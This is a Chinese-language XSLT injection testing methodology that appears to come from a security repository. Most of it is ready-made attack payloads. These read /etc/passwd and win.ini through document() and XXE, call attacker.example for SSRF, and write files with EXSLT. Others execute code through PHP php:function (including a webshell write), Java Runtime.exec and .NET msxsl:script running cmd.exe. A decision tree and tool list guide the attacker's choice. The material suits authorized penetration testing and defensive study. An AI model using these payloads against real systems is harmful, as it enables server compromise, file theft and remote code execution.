wgpsec/xslt-injection

XSLT 注入测试方法论

XSLT 注入发生在攻击者可控的 XSLT 被服务端编译/执行时。关键是先识别处理器类型（Java/.NET/PHP/libxslt），再按平台选择攻击路径。

---

0. 快速开始

1. 找到注入点：参数名含 xslt, stylesheet, transform, template、SOAP 样式表、报表生成器、XML→HTML 转换器
2. 探测反射：注入唯一命名空间或 xsl:value-of select="'marker'" — 输出变化则确认执行
3. 指纹识别处理器（§1）
4. 升级攻击：document()（§2）、XXE（§3）、EXSLT 写文件（§4）、PHP RCE（§5）、Java RCE（§6）、.NET RCE（§7）

无害探测 payload：

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/">
    <xsl:value-of select="'XSLT_PROBE_OK'"/>
  </xsl:template>
</xsl:stylesheet>

---

1. 处理器指纹识别

使用标准 system-property 读取：

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:output method="text"/>
  <xsl:template match="/">
    <xsl:text>vendor=</xsl:text><xsl:value-of select="system-property('xsl:vendor')"/>
    <xsl:text>&#10;version=</xsl:text><xsl:value-of select="system-property('xsl:version')"/>
    <xsl:text>&#10;vendor-url=</xsl:text><xsl:value-of select="system-property('xsl:vendor-url')"/>
  </xsl:template>
</xsl:stylesheet>

指纹对照表：

| 信号 | 引擎 | |---|---| | Apache Software Foundation / Xalan 标记 | Xalan（Java） | | Saxonica / Saxon URI | Saxon | | libxslt / GNOME 栈 | libxslt（C，常见于 PHP/nginx） | | Microsoft URL / MSXML 字符串 | MSXML / .NET XSLT 栈 |

根据结果选择 §5–§7 路径。

---

2. 文件读取 — document()

document() 加载另一个 XML 文档到节点集；本地文件通常按 XML 解析（有噪声），但错误和部分读取仍可泄露信息。

Unix：

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:output method="text"/>
  <xsl:template match="/">
    <xsl:copy-of select="document('/etc/passwd')"/>
  </xsl:template>
</xsl:stylesheet>

Windows：

<xsl:copy-of select="document('file:///c:/windows/win.ini')"/>

SSRF / 带外：

<xsl:copy-of select="document('http://attacker.example/ssrf')"/>

如果数据不直接返回客户端，可配合错误回显或时间差观测。

---

3. XXE via XSLT（外部实体）

XSLT 1.0 允许在样式表中使用 DTD 外部实体（当解析器允许 DTD 时）：

<!DOCTYPE xsl:stylesheet [
  <!ENTITY ext_file SYSTEM "file:///etc/passwd">
]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:output method="text"/>
  <xsl:template match="/">
    <xsl:value-of select="'ENTITY_START'"/>
    <xsl:value-of select="&ext_file;"/>
    <xsl:value-of select="'ENTITY_END'"/>
  </xsl:template>
</xsl:stylesheet>

加固的解析器会禁用外部 DTD — 此处失败不代表其他 XSLT 向量（§2）不可用。

---

4. 文件写入 — EXSLT (exslt:document)

当 EXSLT common 扩展启用时：

<xsl:stylesheet version="1.0"
  xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
  xmlns:exploit="http://exslt.org/common"
  extension-element-prefixes="exploit">
  <xsl:template match="/">
    <exploit:document href="/tmp/evil.txt" method="text">
      <xsl:text>PROOF_CONTENT</xsl:text>
    </exploit:document>
  </xsl:template>
</xsl:stylesheet>

影响：在路径权限允许的位置任意写文件 — 常可通过 webroot/cron/包含点实现 RCE。

---

5. RCE — PHP (php:function)

需要 PHP XSLT 启用了 registerPHPFunctions() 的场景（应用配置不当）：

<xsl:stylesheet version="1.0"
    xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
    xmlns:php="http://php.net/xsl">
  <xsl:output method="text"/>
  <xsl:template match="/">
    <xsl:value-of select="php:function('readfile','index.php')"/>
  </xsl:template>
</xsl:stylesheet>

目录列表：

<xsl:value-of select="php:function('scandir','.')"/>

危险操作（仅在实验环境验证）：

• php:function('file_put_contents','/var/www/shell.php','<?php ...') — Webshell 写入
• php:function('assert', string($payload)) — 旧版 PHP 代码执行

注意：现代 PHP 加固通常阻止这些；没有 RCE 不代表 document()/XXE 不可用。

---

6. RCE — Java（Saxon / Xalan 扩展）

Java 引擎可能暴露映射到静态方法的扩展函数。

Xalan 风格（概念性 — 根据实际版本和扩展绑定调整）：

<xsl:stylesheet version="1.0"
    xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
    xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime">
  <xsl:template match="/">
    <xsl:variable name="rtobject" select="rt:getRuntime()"/>
    <xsl:value-of select="rt:exec($rtobject,'/bin/sh -c id')"/>
  </xsl:template>
</xsl:stylesheet>

Saxon 风格：

Runtime:exec(Runtime:getRuntime(), 'cmd.exe /C whoami')

如果扩展被禁用（常见的安全默认配置），转向 document()、SSRF 或其他攻击面。

---

7. RCE — .NET (msxsl:script)

当 Microsoft XSLT 脚本块启用时：

<xsl:stylesheet version="1.0"
    xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
    xmlns:msxsl="urn:schemas-microsoft-com:xslt"
    extension-element-prefixes="msxsl">
  <msxsl:script language="C#" implements-prefix="user">
    <![CDATA[
    public string xexec() {
      System.Diagnostics.Process.Start("cmd.exe", "/c whoami");
      return "ok";
    }
    ]]>
  </msxsl:script>
  <xsl:template match="/">
    <xsl:value-of select="user:xexec()"/>
  </xsl:template>
</xsl:stylesheet>

默认安全配置通常禁用脚本 — 此路径仅在启用时有效。

---

深入参考

• XSLT 高级利用 payload 与引擎特性（XSLT 2.0+/盲利用/WAF 绕过） → references/xslt-exploitation.md

8. 决策树

用户可控 XSLT 或 XML 转换？
                    |
                   否 → 不在范围
                    |
                   是
                    |
        +-----------+-----------+
        |                       |
   输出反射                   无反射
   注入逻辑？              尝试盲通道
        |                       |
        v                       v
  system-property()        错误/OOB/时间差
  指纹识别引擎                   |
        |                       |
    +---+---+---+           document()
    |       |   |               |
  libxslt Java .NET          SSRF/文件读
    |       |   |               |
 document() Saxon/ msxsl:script? EXSLT?
 EXSLT写   Xalan     |            |
    |     扩展？  C# Process    记录证据
    v       v      v
 文件读/写 rt:exec cmd.exe /c

---

9. 工具

| 类别 | 工具 | |---|---| | 代理/手动 | Burp Suite, OWASP ZAP — 重放样式表 payload，观察响应和错误 | | XML/XSLT 实验环境 | 匹配目标完全相同的处理器（PHP libxslt / Java Saxon 版本 / .NET framework）| | 带外 | Collaborator / 私有回调服务器用于 document('http://…') |

没有通用扫描器能替代版本特定的行为验证。